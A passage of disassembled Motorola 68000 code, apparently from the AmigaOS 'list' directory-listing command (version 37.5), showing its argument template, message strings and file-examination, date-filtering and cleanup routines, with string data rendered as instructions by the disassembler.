MOVE.L A0,D2 ;0DFC: 2408
LEA LAB_0077(PC),A1 ;0DFE: 43FA0272
MOVE.L A1,D1 ;0E02: 2209
MOVEA.L 52(A7),A6 ;0E04: 2C6F0034
JSR -954(A6) ;0E08: 4EAEFC46
LAB_0051:
MOVEA.L 104(A2),A0 ;0E0C: 206A0068
MOVE.L 92(A2),D0 ;0E10: 202A005C
MOVE.L D0,(A0) ;0E14: 2080
LEA 4(A0),A3 ;0E16: 47E80004
CMPI.L #$00000001,92(A2) ;0E1A: 0CAA00000001005C
BLE.S LAB_0052 ;0E22: 6F08
LEA LAB_007B(PC),A1 ;0E24: 43FA026C
MOVE.L A1,(A3) ;0E28: 2689
BRA.S LAB_0053 ;0E2A: 6006
LAB_0052:
LEA LAB_007D(PC),A1 ;0E2C: 43FA026C
MOVE.L A1,(A3) ;0E30: 2689
LAB_0053:
MOVEA.L 52(A7),A3 ;0E32: 266F0034
MOVE.L A0,D2 ;0E36: 2408
LEA LAB_007E(PC),A1 ;0E38: 43FA0266
MOVE.L A1,D1 ;0E3C: 2209
MOVEA.L A3,A6 ;0E3E: 2C4B
JSR -954(A6) ;0E40: 4EAEFC46
LAB_0054:
MOVEA.L 40(A7),A1 ;0E44: 226F0028
MOVEA.L 56(A7),A6 ;0E48: 2C6F0038
JSR -690(A6) ;0E4C: 4EAEFD4E
TST.L 24(A2) ;0E50: 4AAA0018
BEQ.S LAB_0055 ;0E54: 6712
MOVE.L -580(A5),D1 ;0E56: 222DFDBC
MOVEA.L A3,A6 ;0E5A: 2C4B
JSR -300(A6) ;0E5C: 4EAEFED4
MOVE.L -576(A5),D1 ;0E60: 222DFDC0
JSR -36(A6) ;0E64: 4EAEFFDC
LAB_0055:
MOVE.L 44(A7),D1 ;0E68: 222F002C
MOVEA.L A3,A6 ;0E6C: 2C4B
JSR -858(A6) ;0E6E: 4EAEFCA6
TST.L 104(A2) ;0E72: 4AAA0068
BEQ.S LAB_0056 ;0E76: 670C
MOVEA.L 104(A2),A1 ;0E78: 226A0068
MOVEA.L 56(A7),A6 ;0E7C: 2C6F0038
JSR -690(A6) ;0E80: 4EAEFD4E
LAB_0056:
TST.L 96(A2) ;0E84: 4AAA0060
BEQ.S LAB_0058 ;0E88: 6728
MOVEA.L 96(A2),A1 ;0E8A: 226A0060
MOVEA.L 56(A7),A6 ;0E8E: 2C6F0038
JSR -690(A6) ;0E92: 4EAEFD4E
BRA.S LAB_0058 ;0E96: 601A
LAB_0057:
MOVEA.L 80(A2),A0 ;0E98: 206A0050
MOVEA.L (A0),A1 ;0E9C: 2250
MOVE.L A1,36(A7) ;0E9E: 2F490024
MOVEA.L A0,A1 ;0EA2: 2248
MOVEA.L 56(A7),A6 ;0EA4: 2C6F0038
JSR -690(A6) ;0EA8: 4EAEFD4E
MOVE.L 36(A7),80(A2) ;0EAC: 256F00240050
LAB_0058:
TST.L 80(A2) ;0EB2: 4AAA0050
BNE.S LAB_0057 ;0EB6: 66E0
MOVE.L 116(A2),D7 ;0EB8: 2E2A0074
MOVEA.L A2,A1 ;0EBC: 224A
MOVEA.L 56(A7),A6 ;0EBE: 2C6F0038
JSR -690(A6) ;0EC2: 4EAEFD4E
LAB_0059:
MOVEA.L A3,A1 ;0EC6: 224B
MOVEA.L 56(A7),A6 ;0EC8: 2C6F0038
JSR -414(A6) ;0ECC: 4EAEFE62
BRA.S LAB_005B ;0ED0: 6010
LAB_005A:
MOVEA #$0004,A0 ;0ED2: 307C0004
MOVEA.L (A0),A1 ;0ED6: 2250
MOVEA.L 276(A1),A0 ;0ED8: 20690114
MOVEQ #122,D0 ;0EDC: 707A
MOVE.L D0,148(A0) ;0EDE: 21400094
LAB_005B:
MOVE.L D7,D0 ;0EE2: 2007
MOVEM.L (A7)+,D2-D7/A2-A3/A6 ;0EE4: 4CDF4CFC
UNLK A5 ;0EE8: 4E5D
RTS ;0EEA: 4E75
LAB_005C:
DC.W $0000 ;0EEC
LAB_005D:
DC.W $646F ;0EEE
DC.W $732E ;0EF0
DC.W $6C69 ;0EF2
BHI.S LAB_005F ;0EF4: 6272
BSR.S LAB_0060 ;0EF6: 6172
DC.W $7900 ;0EF8
LAB_005E:
DC.W $4449 ;0EFA
ADDQ.B #1,19756(A7) ;0EFC: 522F4D2C
DC.W $503D ;0F00
ADDQ #8,D1 ;0F02: 5041
ADDQ.B #2,19244(A7) ;0F04: 542F4B2C
DC.W $4B45 ;0F08
SUBQ #4,(A3) ;0F0A: 5953
MOVE.L (A3),11332(A7) ;0F0C: 2F532C44
DC.W $4154 ;0F10
DC.W $4553 ;0F12
MOVE.L (A3),11342(A7) ;0F14: 2F532C4E
DC.W $4F44 ;0F18
DC.W $4154 ;0F1A
DC.W $4553 ;0F1C
MOVE.L (A3),11348(A7) ;0F1E: 2F532C54
DC.W $4F2F ;0F22
DC.W $4B2C ;0F24
SUBQ #1,(A5) ;0F26: 5355
CLR.B 19244(A7) ;0F28: 422F4B2C
SUBQ #1,A1 ;0F2C: 5349
TRAP #3 ;0F2E: 4E43
DC.W $452F ;0F30
DC.W $4B2C ;0F32
SUBQ #2,(A0) ;0F34: 5550
ADDQ #2,A7 ;0F36: 544F
DC.W $2F4B ;0F38
MOVEA.L (A1),A6 ;0F3A: 2C51
SUBQ #2,A1 ;0F3C: 5549
DC.W $434B ;0F3E
MOVE.L (A3),11330(A7) ;0F40: 2F532C42
DC.W $4C4F ;0F44
DC.W $434B ;0F46
MOVE.L (A3),11342(A7) ;0F48: 2F532C4E
DC.W $4F48 ;0F4C
DC.W $4541 ;0F4E
NEG.B 21292(A7) ;0F50: 442F532C
DC.W $4649 ;0F54
DC.W $4C45 ;0F56
SUBQ.B #1,21292(A7) ;0F58: 532F532C
DC.W $4449 ;0F5C
ADDQ #1,(A3) ;0F5E: 5253
MOVE.L (A3),11340(A7) ;0F60: 2F532C4C
DC.W $464F ;0F64
ADDQ #1,A5 ;0F66: 524D
LAB_005F:
DC.W $4154 ;0F68
LAB_0060:
DC.W $2F4B ;0F6A
MOVEA.L D1,A6 ;0F6C: 2C41
DC.W $4C4C ;0F6E
MOVE.L (A3),36(A7) ;0F70: 2F530024
ADDQ #3,D5 ;0F74: 5645
DC.W $523A ;0F76
DC.W $206C ;0F78
DC.W $6973 ;0F7A
MOVEQ #32,D2 ;0F7C: 7420
DC.W $3337 ;0F7E
MOVE.L 40(A5,D2.W),D7 ;0F80: 2E352028
DC.W $382E ;0F84
DC.W $3131 ;0F86
DC.W $2E39 ;0F88
DC.W $3129 ;0F8A
DC.W $0A0D ;0F8C
DC.W $0000 ;0F8E
LAB_0061:
DC.W $252D ;0F90
DC.W $3137 ;0F92
DC.W $7320 ;0F94
SUBQ.B #5,-(A5) ;0F96: 5B25
DC.W $3573 ;0F98
SUBQ.B #6,D0 ;0F9A: 5D00
LAB_0062:
MOVE.L 12852(A5),-(A2) ;0F9C: 252D3234
DC.W $7300 ;0FA0
LAB_0063:
MOVE.L -(A5),D0 ;0FA2: 2025
DC.W $3773 ;0FA4
DC.W $0000 ;0FA6
LAB_0064:
MOVE.L -(A5),D0 ;0FA8: 2025
DC.W $7300 ;0FAA
LAB_0065:
MOVE.L -(A5),D0 ;0FAC: 2025
DC.W $2D39 ;0FAE
DC.W $7320 ;0FB0
LAB_0066:
MOVE.L 0(A3,D0.W),2618(A2) ;0FB2: 257300000A3A
MOVE.L D0,D0 ;0FB8: 2000
LAB_0067:
DC.W $2573 ;0FBA
DC.W $0000 ;0FBC
LAB_0068:
DC.W $252D ;0FBE
DC.W $3235 ;0FC0
DC.W $7320 ;0FC2
DC.W $252D ;0FC4
DC.W $3973 ;0FC6
MOVE.L -(A5),D0 ;0FC8: 2025
DC.W $7300 ;0FCA
LAB_0069:
MOVE.L D4,16724(A3) ;0FCC: 27444154
DC.W $4553 ;0FD0
MOVE.L -(A0),-(A3) ;0FD2: 2720
BSR.S LAB_006F ;0FD4: 616E
BCC.S LAB_006A ;0FD6: 6420
MOVE.L A6,20292(A3) ;0FD8: 274E4F44
DC.W $4154 ;0FDC
DC.W $4553 ;0FDE
MOVE.L -(A0),-(A3) ;0FE0: 2720
BSR.S LAB_0072 ;0FE2: 6172
BCS.S LAB_006C ;0FE4: 6520
DC.W $6D75 ;0FE6
MOVEQ #117,D2 ;0FE8: 7475
BSR.S LAB_0073 ;0FEA: 616C
DC.W $6C79 ;0FEC
MOVEA.L -(A5),A0 ;0FEE: 2065
MOVEQ #99,D4 ;0FF0: 7863
DC.W $6C75 ;0FF2
DC.W $7369 ;0FF4
MOVEQ #101,D3 ;0FF6: 7665
LAB_006A:
DC.W $0A00 ;0FF8
LAB_006B:
MOVE.L 10784(A2),D5 ;0FFA: 2A2A2A20
DC.W $4361 ;0FFE
DC.W $6E27 ;1000
MOVEQ #32,D2 ;1002: 7420
BLE.S LAB_0078 ;1004: 6F70
LAB_006C:
BCS.S LAB_0078 ;1006: 656E
MOVE.L -(A5),D0 ;1008: 2025
DC.W $7320 ;100A
MOVE.L -(A0),-(A6) ;100C: 2D20
DC.W $0000 ;100E
LAB_006D:
DC.W $3030 ;1010
MOVE 58(A0,D3.W),D5 ;1012: 3A30303A
MOVE 0(A0,D0.W),D0 ;1016: 30300000
LAB_006E:
MOVE.L 10784(A2),D5 ;101A: 2A2A2A20
DC.W $496E ;101E
MOVEQ #97,D3 ;1020: 7661
DC.W $6C69 ;1022
BCC.S LAB_0070 ;1024: 6420
MOVE.L (A5),20564(A3) ;1026: 27555054
DC.W $4F27 ;102A
MOVEA.L 29216(A7),A0 ;102C: 206F7220
MOVE.L (A3),18766(A3) ;1030: 2753494E
DC.W $4345 ;1034
MOVE.L -(A0),-(A3) ;1036: 2720
MOVEQ #97,D0 ;1038: 7061
MOVEQ #97,D1 ;103A: 7261
DC.W $6D65 ;103C
MOVEQ #101,D2 ;103E: 7465
MOVEQ #32,D1 ;1040: 7220
MOVE.L -(A0),-(A6) ;1042: 2D20
LAB_006F:
DC.W $6967 ;1044
LAB_0070:
DC.W $6E6F ;1046
MOVEQ #101,D1 ;1048: 7265
BCC.S LAB_0072 ;104A: 640A
DC.W $0000 ;104C
LAB_0071:
DC.W $3233 ;104E
DC.W $3A35 ;1050
DC.W $393A ;1052
DC.W $3539 ;1054
LAB_0072:
DC.W $0000 ;1056
LAB_0073:
DC.W $233F ;1058
DC.W $0000 ;105A
LAB_0074:
EORI #$4F54,(A4) ;105C: 0A544F54
DC.W $414C ;1060
MOVE -(A0),D5 ;1062: 3A20
DC.W $0000 ;1064
LAB_0075:
DC.W $6669 ;1066
DC.W $6C65 ;1068
DC.W $7300 ;106A
LAB_0076:
DC.W $6669 ;106C
DC.W $6C65 ;106E
DC.W $0000 ;1070
LAB_0077:
DC.W $256C ;1072
BCC.S LAB_007C ;1074: 6420
LAB_0078:
DC.W $2573 ;1076
MOVE.L 8192(A5),D0 ;1078: 202D2000
LAB_0079:
DC.W $6469 ;107C
MOVEQ #101,D1 ;107E: 7265
BLS.S LAB_0089 ;1080: 6374
BLE.S LAB_0089 ;1082: 6F72
DC.W $6965 ;1084
DC.W $7300 ;1086
LAB_007A:
DC.W $6469 ;1088
MOVEQ #101,D1 ;108A: 7265
BLS.S LAB_008C ;108C: 6374
BLE.S LAB_008C ;108E: 6F72
DC.W $7900 ;1090
LAB_007B:
BHI.S LAB_008B ;1092: 626C
DC.W $6F63 ;1094
LAB_007C:
DC.W $6B73 ;1096
DC.W $0000 ;1098
LAB_007D:
BHI.S LAB_008D ;109A: 626C
DC.W $6F63 ;109C
DC.W $6B00 ;109E
LAB_007E:
DC.W $256C ;10A0
BCC.S LAB_0082 ;10A2: 6420
DC.W $2573 ;10A4
DC.W $2075 ;10A6
DC.W $7365 ;10A8
BCC.S LAB_0081 ;10AA: 640A
DC.W $0000 ;10AC
LAB_007F:
MOVE.L D0,D1 ;10AE: 2200
LAB_0080:
MOVE.L -(A0),D1 ;10B0: 2220
DC.W $6361 ;10B2
BGT.S LAB_0090 ;10B4: 6E6E
LAB_0081:
BLE.S LAB_0093 ;10B6: 6F74
MOVEA.L -(A2),A0 ;10B8: 2062
BCS.S LAB_0083 ;10BA: 6520
DC.W $6C69 ;10BC
DC.W $7374 ;10BE
BCS.S LAB_0091 ;10C0: 6564
MOVE -(A0),D5 ;10C2: 3A20
LAB_0082:
DC.W $6E6F ;10C4
MOVEQ #32,D2 ;10C6: 7420
BSR.S LAB_0087 ;10C8: 6120
DC.W $4669 ;10CA
DC.W $6C65 ;10CC
DC.W $5379 ;10CE
DC.W $7374 ;10D0
DC.W $656D ;10D2
MOVEA.L -(A4),A0 ;10D4: 2064
BCS.S LAB_0097+2 ;10D6: 6576
DC.W $6963 ;10D8
BCS.S LAB_0086 ;10DA: 650A
LAB_0083:
DC.W $0000 ;10DC
LAB_0084:
DC.W $0A00 ;10DE
LAB_0085:
DC.W $4469 ;10E0
MOVEQ #101,D1 ;10E2: 7265
BLS.S LAB_0098 ;10E4: 6374
LAB_0086:
BLE.S LAB_0098 ;10E6: 6F72
DC.W $7920 ;10E8
LAB_0087:
MOVE.L -(A5),D1 ;10EA: 2225
DC.W $7322 ;10EC
MOVE.L D0,D0 ;10EE: 2000
LAB_0088:
DC.W $6973 ;10F0
MOVEA.L -(A5),A0 ;10F2: 2065
BLT.S LAB_0099+2 ;10F4: 6D70
LAB_0089:
MOVEQ #121,D2 ;10F6: 7479
DC.W $0A00 ;10F8
LAB_008A:
MOVE.L USP,A7 ;10FA: 4E6F
MOVEA.L 28262(A1),A0 ;10FC: 20696E66
LAB_008B:
BLE.S LAB_009A+2 ;1100: 6F72
LAB_008C:
DC.W $6D61 ;1102
MOVEQ #105,D2 ;1104: 7469
BLE.S LAB_009B ;1106: 6F6E
LAB_008D:
MOVEA.L -(A6),A0 ;1108: 2066
BLE.S LAB_009C+2 ;110A: 6F72
MOVE.L -(A2),D0 ;110C: 2022
DC.W $2573 ;110E
MOVE.L D0,D1 ;1110: 2200
LAB_008E:
BLE.S LAB_009D+2 ;1112: 6F6E
MOVE.L -(A5),D0 ;1114: 2025
DC.W $7320 ;1116
DC.W $2573 ;1118
DC.W $0A00 ;111A
LAB_008F:
MOVEA 28278(A1),A6 ;111C: 3C696E76
BSR.S LAB_009F ;1120: 616C
BVS.S LAB_009E ;1122: 6964
LAB_0090:
MOVE D0,D7 ;1124: 3E00
LAB_0091:
DC.W $256C ;1126
DC.W $6400 ;1128
LAB_0092:
DC.W $6873 ;112A
LAB_0093:
MOVEQ #97,D0 ;112C: 7061
MOVEQ #119,D1 ;112E: 7277
BCS.S LAB_00A0+2 ;1130: 6564
DC.W $0000 ;1132
LAB_0094:
NEG 29184(A1) ;1134: 44697200
LAB_0095:
DC.W $656D ;1138
MOVEQ #116,D0 ;113A: 7074
DC.W $7900 ;113C
LAB_0096:
LINK A5,#-1200 ;113E: 4E55FB50
MOVEM.L D2-D7/A2-A3/A6,-(A7) ;1142: 48E73F32
MOVEA.L A0,A3 ;1146: 2648
MOVE.L A1,-1182(A5) ;1148: 2B49FB62
LAB_0097:
MOVEA #$0004,A0 ;114C: 307C0004
MOVEA.L (A0),A1 ;1150: 2250
MOVEQ #0,D0 ;1152: 7000
MOVE.L D0,-24(A5) ;1154: 2B40FFE8
MOVE.L D0,D6 ;1158: 2C00
LAB_0098:
MOVEQ #20,D1 ;115A: 7214
MOVE.L D1,116(A3) ;115C: 27410074
MOVE.L D0,-1174(A5) ;1160: 2B40FB6A
LAB_0099:
MOVE.L D0,-1178(A5) ;1164: 2B40FB66
MOVE.L A1,48(A7) ;1168: 2F490030
MOVE #$0119,D0 ;116C: 303C0119
MOVEQ #0,D1 ;1170: 7200
LAB_009A:
MOVEA.L 8(A5),A0 ;1172: 206D0008
LAB_009B:
MOVE.B D1,(A0)+ ;1176: 10C1
DBF D0,LAB_009B ;1178: 51C8FFFC
LAB_009C:
MOVEA.L 8(A5),A0 ;117C: 206D0008
LAB_009D:
MOVE.L #$00001000,8(A0) ;1180: 217C000010000008
LAB_009E:
BSET #0,16(A0) ;1188: 08E800000010
LAB_009F:
MOVE #$0100,18(A0) ;118E: 317C01000012
LAB_00A0:
MOVEA.L -1182(A5),A2 ;1194: 246DFB62
MOVE.L A0,D2 ;1198: 2408
MOVE.L A2,D1 ;119A: 220A
MOVEA.L (A3),A6 ;119C: 2C53
JSR -822(A6) ;119E: 4EAEFCCA
MOVE.L D0,D7 ;11A2: 2E00
TST.L D7 ;11A4: 4A87
BNE LAB_00A4 ;11A6: 660000BA
MOVE.L A2,D1 ;11AA: 220A
JSR -708(A6) ;11AC: 4EAEFD3C
TST D0 ;11B0: 4A40
BNE.S LAB_00A1 ;11B2: 661E
LEA LAB_007F(PC),A0 ;11B4: 41FAFEF8
MOVE.L A0,D1 ;11B8: 2208
JSR -948(A6) ;11BA: 4EAEFC4C
MOVE.L A2,D1 ;11BE: 220A
JSR -948(A6) ;11C0: 4EAEFC4C
LEA LAB_0080(PC),A0 ;11C4: 41FAFEEA
MOVE.L A0,D1 ;11C8: 2208
JSR -948(A6) ;11CA: 4EAEFC4C
BRA LAB_00E4 ;11CE: 600006D8
LAB_00A1:
MOVEA.L D2,A2 ;11D2: 2442
MOVE.L 24(A2),D0 ;11D4: 202A0018
TST.L D0 ;11D8: 4A80
BMI LAB_00A4 ;11DA: 6B000086
BTST #1,16(A2) ;11DE: 082A00010010
BNE.S LAB_00A4 ;11E4: 667C
BSET #2,16(A2) ;11E6: 08EA00020010
MOVE.L A2,D1 ;11EC: 220A
MOVEA.L (A3),A6 ;11EE: 2C53
JSR -828(A6) ;11F0: 4EAEFCC4
MOVE.L D0,D7 ;11F4: 2E00
TST.L D7 ;11F6: 4A87
BNE.S LAB_00A4 ;11F8: 6668
BTST #3,16(A2) ;11FA: 082A00030010
BEQ.S LAB_00A4 ;1200: 6760
BCLR #3,16(A2) ;1202: 08AA00030010
TST.L 60(A3) ;1208: 4AAB003C
BNE.S LAB_00A2 ;120C: 6618
TST.L 48(A3) ;120E: 4AAB0030
BNE.S LAB_00A2 ;1212: 6612
TST.L 108(A3) ;1214: 4AAB006C
BEQ.S LAB_00A2 ;1218: 670C
LEA LAB_0084(PC),A0 ;121A: 41FAFEC2
MOVE.L A0,D1 ;121E: 2208
MOVEA.L (A3),A6 ;1220: 2C53
JSR -948(A6) ;1222: 4EAEFC4C
LAB_00A2:
MOVEQ #1,D0 ;1226: 7001
MOVE.L D0,108(A3) ;1228: 2740006C
MOVE.L -1182(A5),-24(A5) ;122C: 2B6DFB62FFE8
TST.L 60(A3) ;1232: 4AAB003C
BNE.S LAB_00A3 ;1236: 6622
TST.L 48(A3) ;1238: 4AAB0030
BNE.S LAB_00A3 ;123C: 661C
LEA LAB_0085(PC),A0 ;123E: 41FAFEA0
MOVE.L A0,D1 ;1242: 2208
LEA -24(A5),A0 ;1244: 41EDFFE8
MOVE.L A0,D2 ;1248: 2408
MOVEA.L (A3),A6 ;124A: 2C53
JSR -954(A6) ;124C: 4EAEFC46
LEA LAB_0088(PC),A0 ;1250: 41FAFE9E
MOVE.L A0,D1 ;1254: 2208
JSR -948(A6) ;1256: 4EAEFC4C
LAB_00A3:
CLR.L 116(A3) ;125A: 42AB0074
BRA LAB_00E4 ;125E: 60000648
LAB_00A4:
TST.L D7 ;1262: 4A87
BEQ.S LAB_00A5 ;1264: 670A
MOVEA.L (A3),A6 ;1266: 2C53
JSR -132(A6) ;1268: 4EAEFF7C
MOVE.L D0,-24(A5) ;126C: 2B40FFE8
LAB_00A5:
MOVE.L -24(A5),D0 ;1270: 202DFFE8
MOVEQ #116,D1 ;1274: 7274
ADD.L D1,D1 ;1276: D281
CMP.L D1,D0 ;1278: B081
BNE.S LAB_00A6 ;127A: 6608
CLR.L 116(A3) ;127C: 42AB0074
BRA LAB_00E4 ;1280: 60000626
LAB_00A6:
CMPI.L #$00000130,-24(A5) ;1284: 0CAD00000130FFE8
BNE.S LAB_00A7 ;128C: 6618
MOVEA.L (A3),A6 ;128E: 2C53
JSR -132(A6) ;1290: 4EAEFF7C
MOVE.L D0,D1 ;1294: 2200
MOVEQ #0,D2 ;1296: 7400
JSR -474(A6) ;1298: 4EAEFE26
MOVEQ #5,D0 ;129C: 7005
MOVE.L D0,116(A3) ;129E: 27400074
BRA LAB_00E4 ;12A2: 60000604
LAB_00A7:
TST.L -24(A5) ;12A6: 4AADFFE8
BEQ.S LAB_00A9 ;12AA: 673A
MOVE.L -1182(A5),-24(A5) ;12AC: 2B6DFB62FFE8
TST.L 60(A3) ;12B2: 4AAB003C
BNE.S LAB_00A8 ;12B6: 6618
TST.L 48(A3) ;12B8: 4AAB0030
BNE.S LAB_00A8 ;12BC: 6612
LEA LAB_008A(PC),A0 ;12BE: 41FAFE3A
MOVE.L A0,D1 ;12C2: 2208
LEA -24(A5),A0 ;12C4: 41EDFFE8
MOVE.L A0,D2 ;12C8: 2408
MOVEA.L (A3),A6 ;12CA: 2C53
JSR -954(A6) ;12CC: 4EAEFC46
LAB_00A8:
MOVEA.L (A3),A6 ;12D0: 2C53
JSR -132(A6) ;12D2: 4EAEFF7C
MOVE.L D0,D1 ;12D6: 2200
LEA LAB_005C(PC),A0 ;12D8: 41FAFC12
MOVE.L A0,D2 ;12DC: 2408
JSR -474(A6) ;12DE: 4EAEFE26
BRA LAB_00E4 ;12E2: 600005C4
LAB_00A9:
MOVEA.L 8(A5),A2 ;12E6: 246D0008
BCLR #3,16(A2) ;12EA: 08AA00030010
LAB_00AA:
BTST #6,16(A2) ;12F0: 082A00060010
BEQ.S LAB_00AB ;12F6: 6708
MOVEA.L A3,A0 ;12F8: 204B
BSR LAB_00E6 ;12FA: 610005DC
MOVEQ #0,D6 ;12FE: 7C00
LAB_00AB:
BTST #3,16(A2) ;1300: 082A00030010
BEQ.S LAB_00AC ;1306: 670A
BCLR #3,16(A2) ;1308: 08AA00030010
BRA LAB_00DF ;130E: 60000544
LAB_00AC:
MOVEA.L 8(A5),A2 ;1312: 246D0008
TST.L D6 ;1316: 4A86
BNE LAB_00B2 ;1318: 66000112
LEA 280(A2),A0 ;131C: 41EA0118
LEA -536(A5),A1 ;1320: 43EDFDE8
LAB_00AD:
MOVE.B (A0)+,(A1)+ ;1324: 12D8
BNE.S LAB_00AD ;1326: 66FC
LEA -536(A5),A0 ;1328: 41EDFDE8
MOVE.L A0,D1 ;132C: 2208
MOVEA.L (A3),A6 ;132E: 2C53
JSR -876(A6) ;1330: 4EAEFC94
MOVEA.L D0,A0 ;1334: 2040
CLR.B (A0) ;1336: 4210
LEA -536(A5),A0 ;1338: 41EDFDE8
LEA -280(A5),A1 ;133C: 43EDFEE8
LAB_00AE:
MOVE.B (A0)+,(A1)+ ;1340: 12D8
BNE.S LAB_00AE ;1342: 66FC
MOVEA.L 4(A2),A0 ;1344: 206A0004
MOVE.L 8(A0),D1 ;1348: 22280008
LEA -792(A5),A1 ;134C: 43EDFCE8
MOVE.L A1,D2 ;1350: 2409
MOVE.L #$00000100,D3 ;1352: 263C00000100
MOVEA.L (A3),A6 ;1358: 2C53
JSR -402(A6) ;135A: 4EAEFE6E
MOVE.L D2,D1 ;135E: 2202
LEA LAB_005C(PC),A0 ;1360: 41FAFB8A
MOVE.L A0,D2 ;1364: 2408
JSR -882(A6) ;1366: 4EAEFC8E
LEA -536(A5),A0 ;136A: 41EDFDE8
MOVE.L A0,D1 ;136E: 2208
JSR -882(A6) ;1370: 4EAEFC8E
MOVE.B -280(A5),D0 ;1374: 102DFEE8
TST.B D0 ;1378: 4A00
BEQ LAB_00B1 ;137A: 670000A8
TST.L 48(A3) ;137E: 4AAB0030
BNE LAB_00B1 ;1382: 660000A0
TST.L 40(A3) ;1386: 4AAB0028
BNE LAB_00B1 ;138A: 66000098
TST.L 60(A3) ;138E: 4AAB003C
BNE LAB_00B1 ;1392: 66000090
TST.L 108(A3) ;1396: 4AAB006C
BEQ.S LAB_00AF ;139A: 670A
LEA LAB_0084(PC),A0 ;139C: 41FAFD40
MOVE.L A0,D1 ;13A0: 2208
JSR -948(A6) ;13A2: 4EAEFC4C
LAB_00AF:
MOVEA.L 104(A3),A0 ;13A6: 206B0068
LEA -280(A5),A1 ;13AA: 43EDFEE8
MOVE.L A1,(A0) ;13AE: 2089
MOVE.L A0,D2 ;13B0: 2408
LEA LAB_0085(PC),A1 ;13B2: 43FAFD2C
MOVE.L A1,D1 ;13B6: 2209
MOVEA.L (A3),A6 ;13B8: 2C53
JSR -954(A6) ;13BA: 4EAEFC46
LEA 132(A3),A0 ;13BE: 41EB0084
LEA 120(A3),A1 ;13C2: 43EB0078
MOVE.L A0,36(A7) ;13C6: 2F480024
MOVEQ #11,D0 ;13CA: 700B
MOVEA.L A0,A6 ;13CC: 2C48
LAB_00B0:
MOVE.B (A1)+,(A6)+ ;13CE: 1CD9
DBF D0,LAB_00B0 ;13D0: 51C8FFFC
MOVEQ #0,D0 ;13D4: 7000
MOVE.B D0,144(A3) ;13D6: 17400090
MOVE.B D0,145(A3) ;13DA: 17400091
LEA 162(A3),A1 ;13DE: 43EB00A2
MOVE.L A1,146(A3) ;13E2: 27490092
LEA 178(A3),A6 ;13E6: 4DEB00B2
MOVE.L A6,150(A3) ;13EA: 274E0096
LEA 194(A3),A0 ;13EE: 41EB00C2
MOVE.L A0,154(A3) ;13F2: 2748009A
MOVE.L A6,44(A7) ;13F6: 2F4E002C
MOVE.L A1,40(A7) ;13FA: 2F490028
MOVE.L 36(A7),D1 ;13FE: 222F0024
MOVEA.L (A3),A6 ;1402: 2C53
JSR -744(A6) ;1404: 4EAEFD18
MOVEA.L 104(A3),A0 ;1408: 206B0068
MOVE.L 40(A7),(A0) ;140C: 20AF0028
MOVE.L 44(A7),4(A0) ;1410: 216F002C0004
MOVE.L A0,D2 ;1416: 2408
LEA LAB_008E(PC),A1 ;1418: 43FAFCF8
MOVE.L A1,D1 ;141C: 2209
MOVEA.L (A3),A6 ;141E: 2C53
JSR -954(A6) ;1420: 4EAEFC46
LAB_00B1:
MOVEQ #1,D0 ;1424: 7001
MOVE.L D0,108(A3) ;1426: 2740006C
MOVE.L D0,D6 ;142A: 2C00
LAB_00B2:
MOVE.L 24(A2),D7 ;142C: 2E2A0018
TST.L 64(A3) ;1430: 4AAB0040
BEQ.S LAB_00B5 ;1434: 675E
TST.L D7 ;1436: 4A87
BMI.S LAB_00B5 ;1438: 6B5A
MOVE.L #$00000104,D0 ;143A: 203C00000104
MOVE.L #$00010001,D1 ;1440: 223C00010001
MOVEA.L 48(A7),A6 ;1446: 2C6F0030
JSR -684(A6) ;144A: 4EAEFD54
MOVEA.L D0,A2 ;144E: 2440
MOVE.L A2,D0 ;1450: 200A
BEQ.S LAB_00B5 ;1452: 6740
LEA 4(A2),A0 ;1454: 41EA0004
LEA -280(A5),A1 ;1458: 43EDFEE8
MOVEA.L A0,A6 ;145C: 2C48
LAB_00B3:
MOVE.B (A1)+,(A6)+ ;145E: 1CD9
BNE.S LAB_00B3 ;1460: 66FC
MOVEA.L 8(A5),A1 ;1462: 226D0008
ADDA #$001C,A1 ;1466: D2FC001C
MOVE.L A0,D1 ;146A: 2208
MOVE.L A1,D2 ;146C: 2409
MOVE.L #$00000100,D3 ;146E: 263C00000100
MOVEA.L (A3),A6 ;1474: 2C53
JSR -882(A6) ;1476: 4EAEFC8E
TST.L -1174(A5) ;147A: 4AADFB6A
BNE.S LAB_00B4 ;147E: 660A
MOVE.L A2,-1178(A5) ;1480: 2B4AFB66
MOVE.L A2,-1174(A5) ;1484: 2B4AFB6A
BRA.S LAB_00B5 ;1488: 600A
LAB_00B4:
MOVEA.L -1178(A5),A0 ;148A: 206DFB66
MOVE.L A2,(A0) ;148E: 208A
MOVE.L A2,-1178(A5) ;1490: 2B4AFB66
LAB_00B5:
TST.L D7 ;1494: 4A87
BPL.S LAB_00B6 ;1496: 6A06
MOVE.L 56(A3),D0 ;1498: 202B0038
BNE.S LAB_00B7 ;149C: 660A
LAB_00B6:
TST.L D7 ;149E: 4A87
BLE.S LAB_00B8 ;14A0: 6F16
MOVE.L 52(A3),D0 ;14A2: 202B0034
BEQ.S LAB_00B8 ;14A6: 6710
LAB_00B7:
TST.L 56(A3) ;14A8: 4AAB0038
BEQ LAB_00DF ;14AC: 670003A6
TST.L 52(A3) ;14B0: 4AAB0034
BEQ LAB_00DF ;14B4: 6700039E
LAB_00B8:
TST.L 32(A3) ;14B8: 4AAB0020
BEQ.S LAB_00B9 ;14BC: 671A
MOVEA.L 8(A5),A0 ;14BE: 206D0008
ADDA #$0098,A0 ;14C2: D0FC0098
MOVE.L A0,D2 ;14C6: 2408
MOVE.L 12(A5),D1 ;14C8: 222D000C
MOVEA.L (A3),A6 ;14CC: 2C53
JSR -738(A6) ;14CE: 4EAEFD1E
TST.L D0 ;14D2: 4A80
BLE LAB_00DF ;14D4: 6F00037E
LAB_00B9:
TST.L 36(A3) ;14D8: 4AAB0024
BEQ.S LAB_00BA ;14DC: 671A
MOVEA.L 8(A5),A0 ;14DE: 206D0008
ADDA #$0098,A0 ;14E2: D0FC0098
MOVE.L A0,D2 ;14E6: 2408
MOVE.L 16(A5),D1 ;14E8: 222D0010
MOVEA.L (A3),A6 ;14EC: 2C53
JSR -738(A6) ;14EE: 4EAEFD1E
TST.L D0 ;14F2: 4A80
BPL LAB_00DF ;14F4: 6A00035E
LAB_00BA:
MOVEA.L 8(A5),A2 ;14F8: 246D0008
TST.B 210(A3) ;14FC: 4A2B00D2
BEQ.S LAB_00BB ;1500: 671A
LEA 210(A3),A0 ;1502: 41EB00D2
LEA 28(A2),A1 ;1506: 43EA001C
MOVE.L A0,D1 ;150A: 2208
MOVE.L A1,D2 ;150C: 2409
MOVEA.L (A3),A6 ;150E: 2C53
